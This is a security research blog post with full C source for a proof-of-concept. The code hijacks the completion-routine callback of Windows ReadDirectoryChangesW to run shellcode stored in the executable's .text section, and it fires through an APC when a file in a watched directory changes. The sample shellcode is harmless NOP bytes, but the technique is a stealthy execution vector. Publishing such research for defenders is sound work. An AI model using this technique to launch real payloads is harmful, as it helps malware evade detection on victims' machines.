While digging into the ReadDirectoryChanges API, I noticed it supports an asynchronous callback via LPOVERLAPPED_COMPLETION_ROUTINE. Most people use this API to monitor file system changes, but what if we could hijack that callback to execute shellcode? This led me to develop a proof-of-concept (PoC) that turns a mundane filesystem monitoring function into a stealthy shellcode execution vector.
The API is documented as follows by Microsoft.
|
1 2 3 4 5 6 7 8 9 10 |
BOOL ReadDirectoryChangesW( [in] HANDLE hDirectory, [out] LPVOID lpBuffer, [in] DWORD nBufferLength, [in] BOOL bWatchSubtree, [in] DWORD dwNotifyFilter, [out, optional] LPDWORD lpBytesReturned, [in, out, optional] LPOVERLAPPED lpOverlapped, [in, optional] LPOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine ); |
In this PoC, the shellcode is embedded in the executable’s .text section and passed as the lpCompletionRoutine argument to ReadDirectoryChanges. When a file system event like creating/deleting/renaming a file in a given directory completes the asynchronous I/O operation, the Windows kernel queues a user-mode Asynchronous Procedure Call (APC) to the issuing thread. Since the main thread enters an alertable state via SleepEx(100, TRUE), the kernel delivers the APC, which invokes the shellcode as the I/O completion routine. This executes the shellcode directly in the context of the program’s main thread.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 |
#include <windows.h> #include <stdio.h> /* [*] ReadDirectoryChanges Shellcode Execution PoC [*] Author: Osanda Malith Jayathissa - @OsandaMalith [*] www.osandamalith.com [*] Date: 25/09/2025 */ #pragma section(".text") __declspec(allocate(".text")) unsigned char shellcode[] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 }; int main() { puts("[*] ReadDirectoryChanges Shellcode Execution PoC"); puts("[*] Author: Osanda Malith Jayathissa - @OsandaMalith"); puts("[*] www.osandamalith.com\n"); LPCWSTR dirPath = L"C:\\Temp"; // Dir to monitor HANDLE hDir = CreateFileW( dirPath, FILE_LIST_DIRECTORY, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL ); if (hDir == INVALID_HANDLE_VALUE) { printf("[-] Failed to open directory: %d\n", GetLastError()); return 1; } printf("[+] Monitoring directory: %ls\n", dirPath); printf("[+] Shellcode at: 0x%p\n", shellcode); BYTE buffer[1024]; OVERLAPPED overlapped = { 0 }; overlapped.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); BOOL result = ReadDirectoryChangesW( hDir, buffer, sizeof buffer, TRUE, FILE_NOTIFY_CHANGE_FILE_NAME | FILE_NOTIFY_CHANGE_DIR_NAME, NULL, &overlapped, (LPOVERLAPPED_COMPLETION_ROUTINE)(PVOID)shellcode // Register shellcode as completion routine ); if (!result) { printf("[-] ReadDirectoryChanges failed: %d\n", GetLastError()); CloseHandle(overlapped.hEvent); CloseHandle(hDir); return 1; } printf("[+] Shellcode registered as completion routine!\n"); printf("\n[*] To trigger shellcode:\n"); printf("[+] Create/delete/rename a file in: %ls\n", dirPath); // Wait for events while (TRUE) { // SleepEx with alertable wait DWORD waitResult = SleepEx(100, TRUE); // TRUE = alertable if (waitResult == WAIT_IO_COMPLETION) { printf("[!] Completion routine executed!\n"); } } CloseHandle(overlapped.hEvent); CloseHandle(hDir); return 0; } |
https://github.com/OsandaMalith/CallbackShellcode/blob/main/ReadDirectoryChanges.c
